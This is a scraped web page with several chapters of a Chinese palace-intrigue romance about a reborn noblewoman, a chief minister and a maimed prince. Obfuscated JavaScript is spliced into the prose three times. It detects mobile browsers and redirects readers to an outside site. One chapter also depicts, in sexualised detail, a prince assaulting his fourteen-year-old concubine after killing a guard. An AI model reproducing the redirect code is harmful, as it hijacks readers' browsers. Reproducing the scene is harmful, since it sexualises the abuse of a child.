35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341496|140320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴知砚适时回身看向洛清苒,温声道:“既然陈贵妃那里出了乱子,今日她应没空再与你一起尝花糕了,先回府吧。” 洛清苒思忖几息,也不愿在此时去那个乱局,闻言顺势说:“多谢裴大人提醒。” 左右她是在听说了刺客的消息后才打道回府的,不算有意推拒陈氏的邀约。 话音落下,洛清苒便转过身去,不再看着那个让她心里不安的仙鹤池。 她原本会凫水,如今却只是看见这片池水便那般难受,洛清苒心里有些忧虑。 好在她刚进宫,还未走到陈贵妃的宫殿,宫城门口的守卫或许会在关城门之前放她出去。 见洛清苒抬步离开,裴知砚退后半步跟在她身侧。 因为陈贵妃宫里潜入了刺客,宫里一时乱哄哄的,四处都是在奔走的人,且大都神色慌乱焦急。 洛清苒的心神也不由得有些紧绷。 昨日裴知砚写信提醒她陈氏的动向,今日她还没到陈氏那边就遇到了裴知砚,紧接着就传出宫里有刺客的消息,陈氏也就没心思见她了。 这些事凑到一起,实在太巧。 察觉裴知砚跟着自己,洛清苒来不及觉得疑惑,见四下无人注意,她忍不住轻声问:“陈氏那边……” “二皇子在别院被刺客切断手指的消息,应该也快传进宫里了。”裴知砚轻描淡写地解释道。 洛清苒的心先是猛地一提,后又有些心绪复杂—— 裴知砚不仅让人切了二皇子的手指,竟还让人将其放进了他生母的早膳里? 他不是谦谦君子吗? 看出她眼神中难以置信的意味,裴知砚眉梢轻拧,下意识低声解释道:“早膳……不是我的命令。” 是他派去的暗卫自己想的主意。 他虽想报复二皇子和陈氏,却没有那么恶劣的趣味。 不知洛清苒是否信了他的解释。 洛清苒其实并未怀疑裴知砚的话,但她的心思很快就从陈氏的早膳上移开了。 洛清苒曾听父亲提起过,太子和二皇子都想争取裴知砚的支持,但他自入朝为官起便不涉党争,只做着自己能做的、该做的事。 皇帝膝下堪用的儿子只有太子和二皇子,不少官员都觉得裴知砚是还在观望他们的情况,也有很多人在暗地里猜测着裴知砚最终会择谁为主。 但今日之后,裴知砚算是已经断了二皇子走上帝位的路。除非他起兵造反,推翻祖宗礼法,才有可能不必受制于“身有残缺者不可为君”的规矩。 但裴知砚为何会让人切断二皇子的手指? “是因为昨日他让人在我的马车上动手脚吗?” 洛清苒心底划过这句话,但她最终还是没有问出口。 裴知砚身居高位,手握权柄,要废掉一个皇子,怎会是因为昨日那样的事? 且不说洛清苒并未受伤,即便她如二皇子所愿重伤或是殒命,裴知砚也不必为此冒这么大的风险。她与他,从来也不是谁能为谁报复他人的关系。 见洛清苒不知在想什么,想得有些出神了,裴知砚沉吟须臾,状似无意地问起:“你生辰就快到了,今年打算如何过?” 闻言,洛清苒脚步微顿。 前世那晚的部分凌乱记忆蛮不讲理地重新闯入她脑海中。 “应会在府里和家人、好友一起过。”洛清苒掩下眼底的神色,继续朝宫城外走去,淡声道。 裴知砚的心不轻不重地拧了一下。 他不是她的家人,也不是她的好友。 重来一回,洛清苒是否还会邀请自己去她的生辰宴? 他问不出口。 也不愿去想她可能会给他的答案。 11.重回正轨 裴知砚一直陪洛清苒走到了宫门外,才折返入宫,去见皇后。 守卫原本想循令拦住洛清苒盘问,但还未靠近就对上了裴大人冷淡却不乏威压的眼神,只能止住脚步,任裴大人将洛家的女儿送出了宫门。 陈贵妃宫里进了刺客虽不算小事,但谁不知道裴大人深受帝后信重?既然他亲自将人送了出来,就已是在为其作保了。况且陈贵妃还是洛家姑娘的姨母,洛姑娘也着实不像是能断指伤人的刺客。 回府的马车上。 洛清苒一直在心里细细梳理这两日发生的事情。 昨日二皇子的算盘接连落空了,以他睚眦必报的性子,应还会再找机会对付洛清苒。今日陈氏叫洛清苒入宫,或许本就是打了什么主意。 但若按裴知砚所说,今日陈氏早膳中的两截断指是来自二皇子,那这对垂涎帝位的母子应正自顾不暇,暂时分不出神来设计洛清苒。 而且今日宫里大乱一场,陈氏应不会再像前世一样开口提要在宫里为洛清苒庆生的事了。毕竟宫城出了刺客,正是多事之地,没有还要特意把人都聚过去的道理。 前世那个强硬地将洛清苒和裴知砚绑在一起的陷阱,应算是已经可以避开了。 洛清苒轻出了一口气。 敌人遇到了麻烦,于洛清苒来说自然是好事。 最好能趁此机会彻底扳倒这对蛇蝎母子。 洛清苒凝神思忖道。 * 宫中人人都知,为容颜永驻,陈贵妃每日清晨都习惯用一碗血燕,多年来一贯如此。但今日陈贵妃的血燕中却多了两截血肉模糊的断指,吓得陈贵妃心疾发作,皇帝震怒。 宫中随之大乱。 每一处都有带刀侍卫在严密搜寻,有任何可疑的人都会被带走严刑拷问,宫里人人自危,人心惶惶。 但裴知砚仍觉不够。 他已命人提前有所准备,洛清苒出宫后,二皇子在昨夜被人断指的消息便已在宫中不胫而走。在有心人的引导之下,还有愈演愈烈的趋势。 而与此同时,宫外二皇子的别院中,已横尸数具。 “一群废物!”手握长鞭的男子面上怒意正盛,用力抽打着跪成一排的护卫。 昨夜守门的几人已经身首异处。 “有人神不知鬼不觉地潜入,还重伤了本王,你们却什么都没发现!要你们有何用!”又是两鞭重重落下。 护卫们受罚时皆赤.裸着上身,鞭子抽下后特制的倒刺会深深扎入,收回时又会毫不留情地拔出细碎鲜红的血肉。一身戾气的男人将鞭子甩落在地时,会有刺眼的红淋漓散落。 “属下知罪,求王爷饶恕。” 昨夜这些护卫中领头的人咬紧牙关,尽力稳住声音请罪道。 贵妃前几日说陛下预计在近期封二皇子为东睿王,这是陛下疼爱这个儿子的体现,也是陛下打算亲自扶持二皇子的迹象。得到消息后,二皇子的手下都已乖觉地改口尊称他为王爷。 但此时在这处别院的每个人都知道,或许他们的王爷已经没有多大的机会能登临帝位了。 “还敢跟本王提饶恕?” 二皇子的眼神极为阴沉,他双手持长鞭,上前用其绞紧了护卫的脖颈。 倒刺深深扎入脆弱的致命处,护卫下意识想要挣扎,却又想起来什么,终于还是缓缓垂下了紧握成拳的双手,任由自己在二皇子暴戾的动作下咽了气。 只有这样,他的家人才不会被牵连。 可尽管那护卫已经不再动弹,二皇子也仍未松开长鞭,只继续泄愤似的用力勒着他的脖颈。二皇子握着鞭身的左手也被倒刺扎入,他却好似全然不觉得疼。 二皇子终于将护卫的尸体推开时,那条长鞭已深深嵌入他的脖颈,留下一条骇人的血红沟壑。 其他护卫都绷紧了心弦,不敢再有任何动作,唯恐下一个被二皇子盯上的人会是自己。 “本王受伤的事不许外传,否则你们都别想活命。”他语气森冷,如同一条在威胁低等猎物的毒蛇。 无论如何,他都必须想办法遮掩此事。在有机会起兵逼宫,夺下帝王宝座之前,他不能让人知道昨夜发生的一切。 “对外只说本王染了风寒,要静养几日。” 被倒刺伤及的左手正不断流血,双手被包扎过的断指处也在重新淌血,他浑不在意地在一旁护卫的身上擦了一把,那护卫霎时浑身紧绷。 二皇子眉头紧皱,正欲发作,却察觉有一只纤细的带有薄茧的手轻轻牵住了他的左手。 他垂眸看去,看见一张明明惊惶不安却强作镇定的小脸。 原来是他新得的九夫人。 他不再理会那些遍体鳞伤的护卫,饶有兴味地看着她,有些好奇她想怎么找死。 却见那个昨夜还在他身.下无声流泪的姑娘好似一夜之间便脱胎换骨,无师自通地学会了些什么——她乖顺地跪在他腿边,微仰起纤细的脖颈,轻阖着眸子,长睫微颤,轻轻舔.舐他左手间不断滴落的鲜血。 她在众目睽睽之下仅穿着件被撕坏的小衣,身上遍布青紫痕迹,看着很是狼狈。软.舌舔.舐的动作很生.涩,脸颊也不够细腻漂亮,甚至不算白皙。 却莫名地勾.人。 发现她将自己的血悉数咽下时,二皇子几乎立刻就起了意。 他将人推成伏跪的姿势背对着自己,一面发泄一面厉声质问道:“你的恩人怎么不来救你了?” “你说她如果看见你此时这副模样,会不会后悔因为你跟本王对着干?” 十四岁的姑娘原本一直沉默地承受着,闻言忽然浑身紧绷了一瞬,又缓缓放松下来。 身后的二皇子呼吸微窒,得了趣后的他语气更加恶劣道:“你说……她在床.上时会不会比你更勾.人些?起码应比你会叫一些。” “等本王试过之后就知道了。若她的滋味也不错,本王可以留你们继续做一对好姐妹。” “你觉得,昨晚那个切断我手指的刺客,会不会就是她?”他忽然问道。 感觉到身下的人骤然变得更加紧张,二皇子嘲弄地笑了笑,骂了句:“蠢货。” 他虽故意这样问,却很清楚,洛清苒再怎么胆大,也仅是只被养在闺阁中的娇雀,没本事将手伸到他的别院中。 他怀疑是太子下的毒手。 受益最大的人,也是嫌疑最大的人。若他没了做储君的资格,皇位于太子而言几乎已是探囊取物。 废物太子不过是有个能干的母后而已。 总有一日,他会让那对母子匍匐在自己面前。 二皇子一面发泄着自己内心的暴戾,一面筹划着反击的计划。 * 宫城中。 一位不到四十岁的美丽妇人正在桌案旁批阅奏折。 岁月在她的脸庞上留下了细微的痕迹,但她的眉目间也有让人无法忽视的从容与沉静。 与裴知砚议完今日亟待处理的事务后,皇后便让他代自己去教导太子参与政事了。 听一旁的侍女禀报完这两日发生的种种事情及宫中的传言后,皇后只笑意浅淡地弯了弯眉,随意到: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13410028|140320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “让他们母子闹去吧。” 左右也掀不起什么浪来。陈氏所出的那个坏胚应会在外面躲几日,宫里也算能清净几日。 “不过,洛家那位姑娘倒是有点意思。” 笔尖稍顿,皇后忽然问起:“洛姑娘还未婚嫁?” “回娘娘,是的。洛姑娘十七岁的生辰在即,但洛阁老还不曾为她议亲。” “十七岁,正是好年华。” 皇后似是意有所指道:“年纪倒与太子相仿。” 侍女恭敬地垂首,不敢接这句话。 翌日。 从女学回府的路上,洛清苒原本正掀开帷帘和林瑶一起看是否有什么值得买来尝尝的点心,却不偏不倚,正好看见裴知砚从前方不远处的一处茶楼走出。 洛清苒放下帷帘,平静地收回眼神,随即让车夫改了道,往另一边走去,不必经过裴知砚刚出来的那座茶楼。 能避则避,少有来往——这是洛清苒如今对裴知砚的态度。 裴知砚将这一切看在眼里。 以前这种时刻,洛清苒会上前来与他说几句话。虽然说不了太多实际内容,她也藏不住偶尔偷偷瞥向他的眼神和眼底的复杂情愫。 但那时的洛清苒不会如此时这样避着他。 已经不一样了。 裴知砚敛回目光,神色如常地往城外去。 到山寺后的一处小院后,裴知砚推开竹门,温声唤了句“先生”。 作僧人打扮的男人正在摆置棋盘,闻言不厌其烦地纠正道:“施主该唤贫僧‘慧觉’。” 他早已不是裴知砚的先生,不再是当年那个意气风发的首辅。 裴知砚不置可否道:“学生来迟了。” “不算迟,贫僧还未摆好棋盘。” 裴知砚在慧觉大师对面落座:“今日先生想执白子?” “黑子先行,白子后行,贫僧想看看今日能否后发制人。” “请先生指教。”裴知砚落下一子。 最常见的简朴木质棋盘上,黑白棋子有来有回,各自布局。对弈间,慧觉与裴知砚说起了他们共同计划的进展。 而听闻裴知砚已经对二皇子动了手时,慧觉指尖的白子停下,未落。 几息之后,那枚本已有了去处的白子被放回了棋盒中。 “此计虽有用,风险却比我们原本的计划更大。” “你的心若不静,便下不好这盘棋。”慧觉的语气并无什么变化,但两人都明白其中的意味。 裴知砚沉吟须臾,垂眸道:“学生不会再因为旁的事改变计划。” 棋局未完,但慧觉已开始收拾棋盘上的棋子:“那不止是你我二人的仇,你不能忘,也不该忘。” 以往他们每回都会下完一盘棋。但今日,就只能到这里了。 “自去竹林里跪两个时辰,下旬不必再来。”慧觉离开了院子。 裴知砚起身理了理衣衫,朝先生的背影鞠了一躬。 他依言去了院落外的竹林中,跪在了他父母和先生妻儿的埋骨地。 在来见先生的路上,裴知砚便已有了决定。 陈氏和二皇子已无力再伤洛清苒,前世那个专为她而设计的陷阱已经算是避开了,他也不再牵涉其中,一切都可以重回正轨。 一回两回,裴知砚将洛清苒的态度看得很清楚——重来一世,洛清苒不愿意再与他有多的牵扯。他自然也会配合她,自此专心前路,去达成他和先生共同的目的。 他本就不是会纠缠不休的人,更遑论是在男女关系上。 12.第 12 章 当天夜里。 洛清苒等父亲回府后,同他一起用了晚膳。饭毕,洛清苒将今日在宫里的所见所闻的事告诉了父亲。 但她没有说其中与裴知砚有关的部分。从那封提醒她的信,到二皇子断指的真相,洛清苒都只字未提。 自很久以前开始便是如此,洛清苒不愿让家里人知道自己与裴知砚之间有除了学琴以外的任何联系。 马车被二皇子命人动手脚那次是例外。 那桩事与洛清苒和裴知砚之间的事情没什么关联,且他救了她一回,于情于理都该让父亲知晓。当时车辕半断却有惊无险,洛清苒知道是因为裴知砚及时赶过来逼停了马车。 洛清苒明白自己欠了裴知砚一回不轻的人情,也会想办法还清,好与他两不相欠。但她是闺阁女儿,做不了太多有分量的事去谢裴知砚的出手相助。 但父亲则不同。 朝野内外,即便不是结党营私,也有许多地方是两位身居高位的官员之间可以互相帮一把的。裴知砚是内阁首辅,但有些时候,他或许也需要洛清苒的父亲这位内阁大学士的支持。 洛清苒不想与裴知砚有多的牵扯,可她不会去阻拦父亲与裴知砚之间的来往。虽然她并不愿看到那一日,但或许父亲今后也有需要人拉一把的时候。 裴知砚于情爱之事上让人觉得无望,但除此之外,他品行端方,是个清正奉公的好官。 只是洛清苒没想到,自己刚同父亲说了与那两根断指有关的事情之后,父亲便正色提醒她:“陈贵妃与二皇子恐都非善类,今后少与他们来往。” “二皇子……应也已不中用了。”洛柏江略带深意道。 洛清苒心里莫名一跳——她并未提起二皇子,也还未提及宫里有关二皇子断指的传言。 父亲却径直给出了这样的叮嘱。 在朝为官,父亲听闻了宫里的传言,这并不奇怪,毕竟这都已经传出宫城了。二皇子今日一直没有露面,对外只宣称是病了,反倒有欲盖弥彰的意味,更加引人注目。 可父亲似乎还知道更多。 “父亲觉得那传言是真的?”洛清苒试着问道。 洛清苒还记得裴知砚今日的暗示,如果二皇子断指一事是他的人做的,应不会这么快就暴露。父亲也没有提及裴知砚。 洛柏江颔了颔首,“此事涉及储位之争,我们无需参与,切莫外传。” “为何父亲会说姨母也并非善类?”洛清苒几乎下意识屏住了呼吸,又问。 马车的事只与二皇子有关,陈贵妃的虚伪面目还未崩裂,在洛家看来,陈贵妃应还是那个盛宠之下一直愿意善待妹妹的夫家的人。 若单看今日陈贵妃的遭遇,她并非加害者的角色,反而是被吓到心疾发作的那个。但父亲为何会说她也并非善类?还提醒洛清苒少与其来往。 “为父查到了一些东西,”洛柏江斟酌言辞道,“那些事你不知道更好。” “你只需记住,今后能避则避,勿与他们走得太近。” 闻言,洛清苒沉默地点了点头,却莫名心神不宁,各种念头纷至沓来。 这是父亲头回对她说这样的话。 前世洛清苒不曾将蛊毒之事告知父亲。即便裴知砚在那晚之后很快就设计扳倒了二皇子和陈氏,让他们一个被贬为庶人,一个终生苦守皇陵,洛清苒也从未同父母提起过那对母子为她而设的陷阱。 可若父亲早在她十七岁生辰之前就知道陈氏和二皇子都恐非善类,为何之前从未同洛清苒提起过? 洛清苒自幼便常被陈氏这个当宠妃的姨母接进宫里去小住,也一直都信任和依恋这个与自己母亲的样貌有五分相似的姨母,她的父亲不会不知道。 若洛清苒能早有提防,前世她或许本不必陷入那段与裴知砚纠葛不清却又什么都算不上的关系里,也不必承受那么多本不该由她来承受的重担,在蛊毒发作的夜晚被驱使着意识混乱地与不爱自己的人欢好,又在一个接一个清醒的夜晚辗转难眠。 偏偏在今日,在二皇子被人断指,几乎已经彻底失去成为储君的机会后,父亲才告诉她,要远离那对蛇蝎母子。 可二皇子派人在洛清苒的马车上动了手脚后,父亲说会仔细调查此事,也没有再叮嘱过别的什么。 洛清苒深知自己不该怀疑父亲的用意,他数年如一日地待两个女儿都很好,精心将她们培养成德才兼备的模样,尽己所能地将这世上最好的一切都捧来给她们。 但洛清苒控制不住。 种种并不多么好的猜测在洛清苒心底浮现,让她不自觉眉心紧蹙,面色渐黯。 除了她已经知晓的变化以外,似乎还有什么变数早已悄然存在。 而前世的她一无所知地走向了其引导的深渊。 以为女儿是惊讶于姨母的真面目,所以神色才有变化,洛柏江并未多想。 他语气温和地劝慰道:“即便是亲戚,也并不都是真心相待。我们并未受其损害,有所防备便好。” 洛清苒顺着父亲的话“嗯”了一声,心底却很清楚——不是这样的。 并非未受其损害。 即便这回还什么都没有发生,她也曾因此付出了沉重的代价。 父亲清楚陈氏和二皇子的虚伪,却放任陈氏接近她——这个念头一直萦绕在洛清苒心头,她久久无法将之抹去。 前世的自己,会是父亲在站队储君一事上权衡利弊的牺牲品吗? 这与她一直以来的认知可谓天差地别。洛清苒不愿继续想下去。 她心里闷得厉害,喉间发堵,眼眶也不受控地有些微热发酸。 委屈吗?难受吗? 或许只是自己胡思乱想? “怎么眼睛都红了?”洛柏江叹道,不难听出他的心疼和拳拳慈父之心。 “人心复杂,知人知面不知心才是常态,为父希望你能明白这些,又不愿你经历这些。” 洛清苒不知该说什么,只是轻轻摇了摇头。 到底还是忍住了,没有哭出来,也没有追问什么。 为了哄女儿高兴些,洛柏江不再提那对母子,转而问道:“今年的生辰想怎么过?” “就在府里吧,和往年一样。”洛清苒微垂着眸子,轻声道。 “好,到时候为父还是告假一日,在家里陪你过生辰。” “生辰礼物早已备好了,只是不知合不合你的心意。” “父亲有心了,女儿肯定会喜欢的。” 洛清苒压下所有心思,尽力笑得没有那么勉强。 想起了什么,洛柏江语气温和道:“在你生辰之前,应就这几日,你外祖母要办一场赏春宴,你和林瑶可以结伴去陪陪老人家。” “赏春宴?是只有洛陈两家人,还是也邀请了京中其他人家?” “不只是我们两家人。” 洛清苒心里疑惑渐生——这也是一件前世没有发生过的事。 又是什么导致了这个变化? 或许要等她去了,才会知道了。 洛清苒的外祖父是当朝太傅,外祖母喜静,又因为长女是深受皇帝宠爱的贵妃,为避外戚争议,陈府平日里极为低调,除了年节时家人团聚,再少有大的宴席。 这场着实算得上是有些反常的赏春宴,会有什么在等着她? 会是另一个由她信任的家人精心构筑的陷阱吗? 洛清苒不敢深想,也不愿往最坏的地方揣度。 翌日。 满腹心事的洛清苒和林瑶一起去了女学。 今日教导她们书法的那位女夫子因故没有来,学生们正自行练字。 洛清苒压低声音问一旁的林瑶:“你听说我外祖家的赏春宴了吗?” 林瑶点了点头,“清晨时帖子已经送到林府了,母亲今日应在备礼。” 林瑶的亲生母亲已经离世许多年,她父亲如今的夫人原本是她的姨母。新夫人进门第一日,林瑶的父亲便让林瑶改口唤她母亲了。 洛清苒若有所思道:“她也会去?” “对,我妹妹应也会一起。” 洛清苒还记得,就在自己的生辰后不久,林瑶的继母便会开始设法说服林瑶的父亲将林瑶与陆家独子的婚事换给林瑶的妹妹。 因为这位当家主母的亲生女儿年底便要及笄了,所以她想方设法地要让林瑶为自己的女儿让路。最后还不惜用那样恶毒的阴谋,让林瑶在世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451220|140320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的鄙夷中失去了一切,包括她鲜活的生命。 “到时同她们说一声,你与我一起去吧。”洛清苒说。 赏春宴在后日。到时人多眼杂,她不放心林瑶和那对母女待在一起。 林瑶到底是林家的嫡女,还是那个毒妇的亲生姐姐留下的孩子,即便只是为了自己的名声,她也不敢轻易在林府里害林瑶。 前世如果不是那个奸夫确实存在,她为了自保必须嫁祸于人,或许她也不会急于用那样自损八百,会连累女儿清誉的法子陷害林瑶。 但若去了别的府邸,洛清苒担心林瑶的继母会提前暗中设计,为她自己的女儿扫清障碍。 牵一发而动全身,若林瑶的继母也要去陈府,洛清苒想看看这场前世所没有的赏春宴又会给她带来什么变化。 林瑶看出洛清苒今日一直心事重重,柔声问她:“出了什么事吗?你好像很担心这场赏春宴。” 洛清苒顿了顿,含糊道:“没什么,只是有些不安。” “放宽心,这次赏春宴不只是有我们女眷,我兄长也被邀请了,到时若有什么事,可以寻他帮忙。” 这有些出乎意料,洛清苒蹙了蹙眉。 以往此类场合都是京中女眷们聚在一起品茶赏花,闲谈半日或一日,送到府中的帖子也只会邀各家的女眷。只有一些更正式的时候,比如婚丧嫁娶时,才会每家男女同邀。 心里隐约有了个猜测,洛清苒继而问道:“只邀请了你的兄长吗?你父亲呢?” 林瑶摇了摇头,略带深意地看着洛清苒:“我父亲不会去。” 林瑶没说的是,听说赏春宴的帖子也送去了裴府,但被裴知砚婉拒了。无人知晓他是无心婚嫁之事,还是对陈府的表姑娘洛清苒无意。 林瑶的兄长还未娶妻。 到了这个地步,洛清苒又怎么会猜不到? 春时赏梅,夏时看荷,秋日观菊,冬日煮雪,四季各有名目,但都是适龄男女相看的场合。 可能女学里和洛清苒、林瑶同龄的姑娘们都在应邀之列。相应的,后日肯定也不只是林瑶的兄长会在。 一般这种场合,年纪合适且本心愿意前往的男女或多或少都会互相看看有没有合眼缘的人。若彼此都觉得不错,两家的女眷会找机会一起聊一聊,彼此多了解一些…………再做后面的打算。 但大家都心知肚明,整场宴会上,主人家才是意向最明确的那个。 而后日的赏春宴,是陈家办的。 陈太傅只有两个女儿。一个嫁入了宫中,是二皇子的母亲;一个嫁进了洛家,先后生育了两个女儿,如今也仅剩洛清苒一个。 无论二皇子是否断指,他的婚事都是走另一条路子的。 这场赏春宴是为谁而办,不言而喻。 而若非问起了林瑶,洛清苒还对这场赏春宴的深意一无所知。 她并不排斥这种场合,也不排斥在合适的年纪相看自己的未来夫婿。 可她不喜欢这种被蒙在鼓里的感觉。 难道是要等她后日去了赏春宴,再赶鸭子上架似的将她与哪位适龄的男子配到一起吗? 洛清苒的父亲曾多次拒绝想要求娶她的人家。这场别有用心的赏春宴,若无他的同意,应不会办。 洛清苒曾不止一次听父亲说起过,她的婚事无需着急。她以为是像父亲所说的那样,家里舍不得她太早出嫁。恰好她并不急于离家,也并无可以结为夫妻的与她两情相悦的人。 可就在二皇子的争储之路受到重创之后,好像就有什么变得不一样了。 昨晚父亲的叮嘱是如此,即将到来的春日宴亦是如此。 洛清苒快到十七岁了也还没有定下婚约,如今一夕之间就被匆忙地推到了要与人相看的境地。难道以前家里之所以不急于安排她的婚事,是因为父亲还未确认二皇子能走到哪一步吗? 若今日已经几乎失去登临九五的资格的人是太子呢?是否后日安排的就不是一场赏春宴,而是撮合她与二皇子的另一个场合了? 越往深了想,洛清苒的心就越来越沉,她的脸色也越来越称不上好看。 她曾在家里听过看过感受过的一切,原都是有条件的吗。 13.第 13 章 无论洛清苒心底有多少揣度与疑虑,陈家的这场赏春宴还是如期而至。 正是个晴好的日子,春光明媚,街上游人如织,一驾接着一驾马车从各处京官的府邸去往陈家。 但今日没有任何富户在受邀之列。官员和商贾之间是有壁垒的,其间的深长沟壑也许再多的钱财也无法填平。 许多人都先于洛清苒明白,一向低调的陈家今日办这场春日宴,是要让京中的某些有心人知道,陈家和洛家的掌上明珠要开始考虑婚嫁之事了。 人人心思各异。 家中有适龄儿郎的,不少人都想去试试看能否与洛家结为姻亲,为家族的长足发展增添助力。即便与洛家的姑娘没有缘分,也可以借这场赏春宴相看别家闺秀。 同样有待嫁女的,一为借地方看看有哪些优秀儿郎,二为参考借鉴今日陈家的安排布置,也好为自家今后同样目的的宴席做准备。 除了这些,自然也有人并不抱着议亲的目的,或只是纯粹想来凑凑热闹,或是有更为复杂的用心。 洛清苒心底的想法和所有人的都不一样。 在去陈家的马车上,洛清苒沉默地坐在林瑶身旁,脸上没有一丝笑意。 洛清苒曾参加过很多次这样的宴会,但都是去赏景喝茶吃点心,和同龄的姑娘们游玩闲谈。 而今日,她是那处供人观赏的景,那杯由人品评的茶水,那碟任人挑拣的点心,也是所有人的谈资。 这种即将被审视、被挑选的感觉,洛清苒很不喜欢。 指间的锦帕反复被她无意识地揉皱,展开,又揉皱,早已没了它精致漂亮的模样。 京城有不成文的规矩——这种男女相看的场合一般都由女方来办,好让女方能掌握更多主动权。 只因若由男方来办,或多或少会让人觉得像是宫中皇帝选妃一样。而并非所有适龄儿郎都是天潢贵胄,能让门第高家世好的闺秀们心甘情愿地去被人挑选。 曾经有一回这样的宴会闹得很大,就是因为那个自视甚高的纨绔当着一众京官子弟的面,对随家人来自家府邸赴宴的姑娘们评头论足,挑挑拣拣,还出言羞辱了几位不合他心意的姑娘。一场宴会下来,几乎将当日赴宴的女方得罪了个遍。 自那以后,此类宴席的主办者便逐渐都成了有待嫁女的人家。 而实际上,若女方的门第太低,就算办了各种明目的宴席,也少有人会出席。因为所谓主动权,其实也并非给了适婚的姑娘,而是给了站在她身后的父辈祖辈或是出人头地的兄弟。 就好似今日陈家的赏春宴,那些带着相看目的而来的儿郎里,有多少人知道陈家与洛家在官场的分量,又有多少人知道洛清苒其实是个什么样的姑娘? 从旁观者变成亲历者,洛清苒才后知后觉地想要知道,每一个在她之前经历过这种场合的女子心底,都曾有过哪些念头? 会含羞带怯地想象未来夫婿的模样与气度吗? 会有无法与旁人道出的茫然与惶惑吗? 又或者,她们是否也曾像她一样,丝毫不觉得期待。 只觉得厌倦与心烦。 离得越近,她就越想不管不顾地掉头离开。 “清苒……”看着洛清苒紧蹙的眉心,林瑶欲言又止。 自从得知陈家的用意后,洛清苒便一直没什么兴致做别的事情,总是自己沉默地出神。林瑶看在眼里,心疼不已。 她是洛清苒最亲近的挚友,彼此信任与依赖。但林瑶从未对洛清苒说过,自己其实一直很羡慕洛清苒——因为她是在家人的爱里长大的姑娘。 洛清苒的父母很恩爱,两心相许,是彼此的唯一。是以洛家内宅没有任何妻妾纠葛,嫡庶纷争。包括优秀却早逝的姐姐在内,洛清苒的家人们一直都很疼她。 很多人都只能远远旁观洛清苒的幸福,无法拥有。 林瑶也曾是其中一个。 可林瑶也是如今才知道,其实没多少不同。 无论她们经历了怎样的幼年,在怎样的家庭中长大,无论她们姓洛,姓林,还是有别的什么姓氏,出身高门的姑娘们其实很多时候都无法听凭本心。 尤其是在婚嫁这种关乎人生走向的大事上。 无论自己心悦之人是谁,无论愿意与否,她们的婚事都会先依从家族与长辈的权衡筹谋。她们的想法绝大多数时候都是排在最后,甚至有可能连最后都排不上,因为并不会被计入考量。 可她们能做什么呢? 被悉心栽种在庭院中的花朵,如何修剪或移植,从来都由不得自己。 这是优越的生长境遇带来的代价,早在她们作为花朵诞生时便注定了。 “清苒,今日只是一场宴席而已,长辈们应不会就此定下你的婚事。”林瑶柔声劝慰道。 “如果你不愿意,伯父应不会勉强你嫁给哪家的公子。” 洛阁老多年来一直很疼爱自己的一双女儿。即便他有所考量,林瑶觉得他应也不会像那些冷血失职的父亲一样,丝毫不顾洛清苒的意愿。 况且洛伯父在官场中的地位早非寻常京官能比,已不需要靠女儿去交换官位或权力了。即便当真要与谁因为政治目的而联姻,除了裴知砚,也没有其他官员有足以托举洛家更上一层楼的能力了。 洛伯父曾属意将自己的长女洛清芷嫁给裴知砚,于情于理都不该再将洛清苒与裴知砚配到一起。 林瑶还听说裴知砚已经拒了陈府的请帖,无论那封请帖是试探还是面子功夫,裴知砚都已摆明了态度——今日陈府要为洛清苒相看未来夫婿,而他不会来。 除非…… 想到了什么,林瑶心里猛地一紧。 除非洛伯父的目的并非朝中哪位同僚,而是上位者。 二皇子已经不中用了,太子却正是该娶太子妃的年纪。没了二皇子这个劲敌,太子的储君之位已几乎无人能动摇。 可做皇室的媳妇,又怎会只有表面的光鲜? 林瑶心绪复杂,已找不到可以继续开解洛清苒的话,只能言语苍白地说:“先走一步看一步吧,车到山前必有路。” “好。” 洛清苒轻轻点了点头,眉眼柔和地朝她笑了笑,“不用为我担心,我会处理好的。” 见洛清苒还反过来宽慰自己,林瑶不由得心头微酸。 但愿,但愿她的挚友不会成为长辈们种种考量下的牺牲品。 林瑶心底的忧虑铺展开来,让她本就不安定的心悬得更高了些。 洛清苒却在一连两日的长久思索之后想清楚了些什么,起伏的心绪逐渐变得平稳沉静。 马车停在陈府门前。 洛清苒和林瑶先后走下马车,恰好看见沈露明的母亲也从马车里出来,沈露明则站在不远处,正目光澄澈明朗地看向她们这边。 “清苒,瑶瑶,”沈露明的母亲李青栀眉目柔和,温声唤她们,“既然遇上了,就同我一起进去吧。” “伯母。”洛清苒和林瑶一起走过去。 沈露明与她们简单寒暄了几句,便先去了府里男客那边。离开前,沈露明略带深意地朝自己的母亲递去一眼。 他能猜出洛清苒此时的心情应好不到哪里去,但他不便在众目睽睽之下与洛清苒走得太近,出门前便求自己的母亲去陪着她。

